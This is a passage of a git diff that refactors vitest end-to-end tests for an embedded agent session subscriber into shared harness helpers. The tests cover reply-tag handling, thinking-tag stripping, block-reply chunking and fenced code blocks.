unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - + function createPartialReplyHarness() { + const { session, emit } = createStubSessionHarness(); const onPartialReply = vi.fn(); subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onPartialReply, }); - handler?.({ + return { emit, onPartialReply }; + } + + it("does not strip thinking tags inside inline code backticks", () => { + const { emit, onPartialReply } = createPartialReplyHarness(); + + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -38,23 +34,9 @@ describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => { }); it("does not strip thinking tags inside fenced code blocks", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, onPartialReply } = createPartialReplyHarness(); - const onPartialReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onPartialReply, - }); - - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -69,23 +51,9 @@ describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => { }); it("still strips actual thinking tags outside code spans", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, onPartialReply } = createPartialReplyHarness(); - const onPartialReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onPartialReply, - }); - - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { diff --git a/src/agents/pi-embedded-subscribe.e2e-harness.ts b/src/agents/pi-embedded-subscribe.e2e-harness.ts index 64975e8c72c..80bba72d923 100644 --- a/src/agents/pi-embedded-subscribe.e2e-harness.ts +++ b/src/agents/pi-embedded-subscribe.e2e-harness.ts @@ -1,6 +1,11 @@ -type SubscribeEmbeddedPiSession = - typeof import("./pi-embedded-subscribe.js").subscribeEmbeddedPiSession; +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import { expect } from "vitest"; +import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; + +type SubscribeEmbeddedPiSession = typeof subscribeEmbeddedPiSession; +type SubscribeEmbeddedPiSessionParams = Parameters[0]; type PiSession = Parameters[0]["session"]; +type OnBlockReply = NonNullable; export function createStubSessionHarness(): { session: PiSession; @@ -17,6 +22,47 @@ export function createStubSessionHarness(): { return { session, emit: (evt: unknown) => handler?.(evt) }; } +export function createSubscribedSessionHarness( + params: Omit[0], "session"> & { + sessionExtras?: Partial; + }, +): { + emit: (evt: unknown) => void; + session: PiSession; + subscription: ReturnType; +} { + const { sessionExtras, ...subscribeParams } = params; + const { session, emit } = createStubSessionHarness(); + const mergedSession = Object.assign(session, sessionExtras ?? {}); + const subscription = subscribeEmbeddedPiSession({ + ...subscribeParams, + session: mergedSession, + }); + return { emit, session: mergedSession, subscription }; +} + +export function createParagraphChunkedBlockReplyHarness(params: { + chunking: { minChars: number; maxChars: number }; + onBlockReply?: OnBlockReply; + runId?: string; +}): { + emit: (evt: unknown) => void; + onBlockReply: OnBlockReply; + subscription: ReturnType; +} { + const onBlockReply: OnBlockReply = params.onBlockReply ?? (() => {}); + const { emit, subscription } = createSubscribedSessionHarness({ + runId: params.runId ?? "run", + onBlockReply, + blockReplyBreak: "message_end", + blockReplyChunking: { + ...params.chunking, + breakPreference: "paragraph", + }, + }); + return { emit, onBlockReply, subscription }; +} + export function extractAgentEventPayloads(calls: Array): Array> { return calls .map((call) => { @@ -26,3 +72,60 @@ export function extractAgentEventPayloads(calls: Array): Array => Boolean(value)); } + +export function extractTextPayloads(calls: Array): string[] { + return calls + .map((call) => { + const payload = call?.[0] as { text?: unknown } | undefined; + return typeof payload?.text === "string" ? payload.text : undefined; + }) + .filter((text): text is string => Boolean(text)); +} + +export function emitMessageStartAndEndForAssistantText(params: { + emit: (evt: unknown) => void; + text: string; +}): void { + const assistantMessage = { + role: "assistant", + content: [{ type: "text", text: params.text }], + } as AssistantMessage; + params.emit({ type: "message_start", message: assistantMessage }); + params.emit({ type: "message_end", message: assistantMessage }); +} + +export function emitAssistantTextDeltaAndEnd(params: { + emit: (evt: unknown) => void; + text: string; +}): void { + params.emit({ + type: "message_update", + message: { role: "assistant" }, + assistantMessageEvent: { + type: "text_delta", + delta: params.text, + }, + }); + const assistantMessage = { + role: "assistant", + content: [{ type: "text", text: params.text }], + } as AssistantMessage; + params.emit({ type: "message_end", message: assistantMessage }); +} + +export function expectFencedChunks(calls: Array, expectedPrefix: string): void { + expect(calls.length).toBeGreaterThan(1); + for (const call of calls) { + const chunk = (call[0] as { text?: unknown } | undefined)?.text; + expect(typeof chunk === "string" && chunk.startsWith(expectedPrefix)).toBe(true); + const fenceCount = typeof chunk === "string" ? (chunk.match(/```/g)?.length ?? 0) : 0; + expect(fenceCount).toBeGreaterThanOrEqual(2); + } +} + +export function expectSingleAgentEventText(calls: Array, text: string): void { + const payloads = extractAgentEventPayloads(calls); + expect(payloads).toHaveLength(1); + expect(payloads[0]?.text).toBe(text); + expect(payloads[0]?.delta).toBe(text); +} diff --git a/src/agents/pi-embedded-subscribe.reply-tags.e2e.test.ts b/src/agents/pi-embedded-subscribe.reply-tags.e2e.test.ts index 7495b7f6fbc..c1359648e5d 100644 --- a/src/agents/pi-embedded-subscribe.reply-tags.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.reply-tags.e2e.test.ts @@ -1,25 +1,15 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; +import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; - describe("subscribeEmbeddedPiSession reply tags", () => { - it("carries reply_to_current across tag-only block chunks", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - + function createBlockReplyHarness() { + const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onBlockReply, blockReplyBreak: "text_end", @@ -30,8 +20,14 @@ describe("subscribeEmbeddedPiSession reply tags", () => { }, }); - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ + return { emit, onBlockReply }; + } + + it("carries reply_to_current across tag-only block chunks", () => { + const { emit, onBlockReply } = createBlockReplyHarness(); + + emit({ type: "message_start", message: { role: "assistant" } }); + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -39,7 +35,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => { delta: "[[reply_to_current]]\nHello", }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_end" }, @@ -49,7 +45,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => { role: "assistant", content: [{ type: "text", text: "[[reply_to_current]]\nHello" }], } as AssistantMessage; - handler?.({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); expect(onBlockReply).toHaveBeenCalledTimes(1); const payload = onBlockReply.mock.calls[0]?.[0]; @@ -59,35 +55,15 @@ describe("subscribeEmbeddedPiSession reply tags", () => { }); it("flushes trailing directive tails on stream end", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, onBlockReply } = createBlockReplyHarness(); - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onBlockReply, - blockReplyBreak: "text_end", - blockReplyChunking: { - minChars: 1, - maxChars: 50, - breakPreference: "newline", - }, - }); - - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ + emit({ type: "message_start", message: { role: "assistant" } }); + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: "Hello [[" }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_end" }, @@ -97,7 +73,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => { role: "assistant", content: [{ type: "text", text: "Hello [[" }], } as AssistantMessage; - handler?.({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); expect(onBlockReply).toHaveBeenCalledTimes(2); expect(onBlockReply.mock.calls[0]?.[0]?.text).toBe("Hello"); @@ -105,39 +81,33 @@ describe("subscribeEmbeddedPiSession reply tags", () => { }); it("streams partial replies past reply_to tags split across chunks", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { session, emit } = createStubSessionHarness(); const onPartialReply = vi.fn(); subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onPartialReply, }); - handler?.({ type: "message_start", message: { role: "assistant" } }); - handler?.({ + emit({ type: "message_start", message: { role: "assistant" } }); + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: "[[reply_to:1897" }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: "]] Hello" }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_delta", delta: " world" }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { type: "text_end" }, diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.e2e.test.ts index a68984b272d..7dc6b6156b7 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.e2e.test.ts @@ -1,30 +1,31 @@ import { describe, expect, it, vi } from "vitest"; +import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; - describe("subscribeEmbeddedPiSession", () => { - it("does not duplicate when text_end repeats full content", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - + function createTextEndHarness(chunking?: { + minChars: number; + maxChars: number; + breakPreference: "newline"; + }) { + const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); const subscription = subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onBlockReply, blockReplyBreak: "text_end", + blockReplyChunking: chunking, }); - handler?.({ + return { emit, onBlockReply, subscription }; + } + + it("does not duplicate when text_end repeats full content", () => { + const { emit, onBlockReply, subscription } = createTextEndHarness(); + + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -33,7 +34,7 @@ describe("subscribeEmbeddedPiSession", () => { }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -46,31 +47,15 @@ describe("subscribeEmbeddedPiSession", () => { expect(subscription.assistantTexts).toEqual(["Good morning!"]); }); it("does not duplicate block chunks when text_end repeats full content", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onBlockReply, - blockReplyBreak: "text_end", - blockReplyChunking: { - minChars: 5, - maxChars: 40, - breakPreference: "newline", - }, + const { emit, onBlockReply } = createTextEndHarness({ + minChars: 5, + maxChars: 40, + breakPreference: "newline", }); const fullText = "First line\nSecond line\nThird line\n"; - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -82,7 +67,7 @@ describe("subscribeEmbeddedPiSession", () => { const callsAfterDelta = onBlockReply.mock.calls.length; expect(callsAfterDelta).toBeGreaterThan(0); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.e2e.test.ts index 7ce844c55a9..e13ffda120c 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.e2e.test.ts @@ -1,31 +1,27 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; +import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; - describe("subscribeEmbeddedPiSession", () => { - it("emits block replies on text_end and does not duplicate on message_end", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - + function createTextEndBlockReplyHarness() { + const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); const subscription = subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onBlockReply, blockReplyBreak: "text_end", }); - handler?.({ + return { emit, onBlockReply, subscription }; + } + + it("emits block replies on text_end and does not duplicate on message_end", () => { + const { emit, onBlockReply, subscription } = createTextEndBlockReplyHarness(); + + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -34,7 +30,7 @@ describe("subscribeEmbeddedPiSession", () => { }, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -52,32 +48,17 @@ describe("subscribeEmbeddedPiSession", () => { content: [{ type: "text", text: "Hello block" }], } as AssistantMessage; - handler?.({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); expect(onBlockReply).toHaveBeenCalledTimes(1); expect(subscription.assistantTexts).toEqual(["Hello block"]); }); it("does not duplicate when message_end flushes and a late text_end arrives", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { emit, onBlockReply, subscription } = createTextEndBlockReplyHarness(); - const onBlockReply = vi.fn(); + emit({ type: "message_start", message: { role: "assistant" } }); - const subscription = subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onBlockReply, - blockReplyBreak: "text_end", - }); - - handler?.({ type: "message_start", message: { role: "assistant" } }); - - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -92,13 +73,13 @@ describe("subscribeEmbeddedPiSession", () => { } as AssistantMessage; // Simulate a provider that ends the message without emitting text_end. - handler?.({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); expect(onBlockReply).toHaveBeenCalledTimes(1); expect(subscription.assistantTexts).toEqual(["Hello block"]); // Some providers can still emit a late text_end; this must not re-emit. - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.e2e.test.ts index e7cb7fc3788..069e5f093ad 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.e2e.test.ts @@ -1,11 +1,8 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; +import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; - describe("subscribeEmbeddedPiSession", () => { const THINKING_TAG_CASES = [ { tag: "think", open: "", close: "" }, @@ -14,25 +11,24 @@ describe("subscribeEmbeddedPiSession", () => { { tag: "antthinking", open: "", close: "" }, ] as const; - it("emits reasoning as a separate message when enabled", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - + function createReasoningBlockReplyHarness() { + const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onBlockReply, blockReplyBreak: "message_end", reasoningMode: "on", }); + return { emit, onBlockReply }; + } + + it("emits reasoning as a separate message when enabled", () => { + const { emit, onBlockReply } = createReasoningBlockReplyHarness(); + const assistantMessage = { role: "assistant", content: [ @@ -41,7 +37,7 @@ describe("subscribeEmbeddedPiSession", () => { ], } as AssistantMessage; - handler?.({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); expect(onBlockReply).toHaveBeenCalledTimes(2); expect(onBlockReply.mock.calls[0][0].text).toBe("Reasoning:\n_Because it helps_"); @@ -50,23 +46,7 @@ describe("subscribeEmbeddedPiSession", () => { it.each(THINKING_TAG_CASES)( "promotes <%s> tags to thinking blocks at write-time", ({ open, close }) => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", - onBlockReply, - blockReplyBreak: "message_end", - reasoningMode: "on", - }); + const { emit, onBlockReply } = createReasoningBlockReplyHarness(); const assistantMessage = { role: "assistant", @@ -78,7 +58,7 @@ describe("subscribeEmbeddedPiSession", () => { ], } as AssistantMessage; - handler?.({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); expect(onBlockReply).toHaveBeenCalledTimes(2); expect(onBlockReply.mock.calls[0][0].text).toBe("Reasoning:\n_Because it helps_"); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.e2e.test.ts index 76a51a89197..05f5bd12fe0 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.e2e.test.ts @@ -1,8 +1,8 @@ -import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; import { createStubSessionHarness, - extractAgentEventPayloads, + emitMessageStartAndEndForAssistantText, + expectSingleAgentEventText, } from "./pi-embedded-subscribe.e2e-harness.js"; import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; @@ -60,38 +60,21 @@ describe("subscribeEmbeddedPiSession", () => { enforceFinalTag: true, onAgentEvent, }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text: "Hello world" }], - } as AssistantMessage; - - emit({ type: "message_start", message: assistantMessage }); - emit({ type: "message_end", message: assistantMessage }); - - const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls); - expect(payloads).toHaveLength(1); - expect(payloads[0]?.text).toBe("Hello world"); - expect(payloads[0]?.delta).toBe("Hello world"); + emitMessageStartAndEndForAssistantText({ emit, text: "Hello world" }); + expectSingleAgentEventText(onAgentEvent.mock.calls, "Hello world"); }); it("does not require when enforcement is off", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { session, emit } = createStubSessionHarness(); const onPartialReply = vi.fn(); subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onPartialReply, }); - handler?.({ + emit({ type: "message_update", message: { role: "assistant" }, assistantMessageEvent: { @@ -104,18 +87,12 @@ describe("subscribeEmbeddedPiSession", () => { expect(payload.text).toBe("Hello world"); }); it("emits block replies on message_end", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; + const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + session, runId: "run", onBlockReply, blockReplyBreak: "message_end", @@ -126,7 +103,7 @@ describe("subscribeEmbeddedPiSession", () => { content: [{ type: "text", text: "Hello block" }], } as AssistantMessage; - handler?.({ type: "message_end", message: assistantMessage }); + emit({ type: "message_end", message: assistantMessage }); expect(onBlockReply).toHaveBeenCalled(); const payload = onBlockReply.mock.calls[0][0]; diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.e2e.test.ts index 3b04100219b..bdc2760ae0f 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.e2e.test.ts @@ -1,30 +1,17 @@ import { describe, expect, it, vi } from "vitest"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; - -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; +import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; describe("subscribeEmbeddedPiSession", () => { it("includes canvas action metadata in tool summaries", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onToolResult = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + const toolHarness = createSubscribedSessionHarness({ runId: "run-canvas-tool", verboseLevel: "on", onToolResult, }); - handler?.({ + toolHarness.emit({ type: "tool_execution_start", toolName: "canvas", toolCallId: "tool-canvas-1", @@ -42,24 +29,15 @@ describe("subscribeEmbeddedPiSession", () => { expect(payload.text).toContain("/tmp/a2ui.jsonl"); }); it("skips tool summaries when shouldEmitToolResult is false", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onToolResult = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + const toolHarness = createSubscribedSessionHarness({ runId: "run-tool-off", shouldEmitToolResult: () => false, onToolResult, }); - handler?.({ + toolHarness.emit({ type: "tool_execution_start", toolName: "read", toolCallId: "tool-2", @@ -69,25 +47,16 @@ describe("subscribeEmbeddedPiSession", () => { expect(onToolResult).not.toHaveBeenCalled(); }); it("emits tool summaries when shouldEmitToolResult overrides verbose", async () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onToolResult = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + const toolHarness = createSubscribedSessionHarness({ runId: "run-tool-override", verboseLevel: "off", shouldEmitToolResult: () => true, onToolResult, }); - handler?.({ + toolHarness.emit({ type: "tool_execution_start", toolName: "read", toolCallId: "tool-3", diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.e2e.test.ts index 507ca49da7b..ceb78b695f3 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.e2e.test.ts @@ -1,100 +1,43 @@ -import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; - -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; +import { + createParagraphChunkedBlockReplyHarness, + emitAssistantTextDeltaAndEnd, + extractTextPayloads, +} from "./pi-embedded-subscribe.e2e-harness.js"; describe("subscribeEmbeddedPiSession", () => { it("keeps indented fenced blocks intact", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", + const { emit } = createParagraphChunkedBlockReplyHarness({ onBlockReply, - blockReplyBreak: "message_end", - blockReplyChunking: { + chunking: { minChars: 5, maxChars: 30, - breakPreference: "paragraph", }, }); const text = "Intro\n\n ```js\n const x = 1;\n ```\n\nOutro"; - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { - type: "text_delta", - delta: text, - }, - }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text }], - } as AssistantMessage; - - handler?.({ type: "message_end", message: assistantMessage }); + emitAssistantTextDeltaAndEnd({ emit, text }); expect(onBlockReply).toHaveBeenCalledTimes(3); expect(onBlockReply.mock.calls[1][0].text).toBe(" ```js\n const x = 1;\n ```"); }); it("accepts longer fence markers for close", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", + const { emit } = createParagraphChunkedBlockReplyHarness({ onBlockReply, - blockReplyBreak: "message_end", - blockReplyChunking: { + chunking: { minChars: 10, maxChars: 30, - breakPreference: "paragraph", }, }); const text = "Intro\n\n````md\nline1\nline2\n````\n\nOutro"; - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { - type: "text_delta", - delta: text, - }, - }); + emitAssistantTextDeltaAndEnd({ emit, text }); - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text }], - } as AssistantMessage; - - handler?.({ type: "message_end", message: assistantMessage }); - - const payloadTexts = onBlockReply.mock.calls - .map((call) => call[0]?.text) - .filter((value): value is string => typeof value === "string"); + const payloadTexts = extractTextPayloads(onBlockReply.mock.calls); expect(payloadTexts.length).toBeGreaterThan(0); const combined = payloadTexts.join(" ").replace(/\s+/g, " ").trim(); expect(combined).toContain("````md"); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.e2e.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.e2e.test.ts index b3d800af04b..06b8e3e04e0 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.e2e.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.e2e.test.ts @@ -1,101 +1,37 @@ -import type { AssistantMessage } from "@mariozechner/pi-ai"; import { describe, expect, it, vi } from "vitest"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; - -type StubSession = { - subscribe: (fn: (evt: unknown) => void) => () => void; -}; +import { + createParagraphChunkedBlockReplyHarness, + emitAssistantTextDeltaAndEnd, + expectFencedChunks, +} from "./pi-embedded-subscribe.e2e-harness.js"; describe("subscribeEmbeddedPiSession", () => { it("reopens fenced blocks when splitting inside them", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", + const { emit } = createParagraphChunkedBlockReplyHarness({ onBlockReply, - blockReplyBreak: "message_end", - blockReplyChunking: { + chunking: { minChars: 10, maxChars: 30, - breakPreference: "paragraph", }, }); const text = `\`\`\`txt\n${"a".repeat(80)}\n\`\`\``; - - handler?.({ - type: "message_update", - message: { role: "assistant" }, - assistantMessageEvent: { - type: "text_delta", - delta: text, - }, - }); - - const assistantMessage = { - role: "assistant", - content: [{ type: "text", text }], - } as AssistantMessage; - - handler?.({ type: "message_end", message: assistantMessage }); - - expect(onBlockReply.mock.calls.length).toBeGreaterThan(1); - for (const call of onBlockReply.mock.calls) { - const chunk = call[0].text as string; - expect(chunk.startsWith("```txt")).toBe(true); - const fenceCount = chunk.match(/```/g)?.length ?? 0; - expect(fenceCount).toBeGreaterThanOrEqual(2); - } + emitAssistantTextDeltaAndEnd({ emit, text }); + expectFencedChunks(onBlockReply.mock.calls, "```txt"); }); it("avoids splitting inside tilde fences", () => { - let handler: ((evt: unknown) => void) | undefined; - const session: StubSession = { - subscribe: (fn) => { - handler = fn; - return () => {}; - }, - }; - const onBlockReply = vi.fn(); - - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], - runId: "run", + const { emit } = createParagraphChunkedBlockReplyHarness({ onBlockReply, - blockReplyBreak: "message_end", - blockReplyChunking: { + 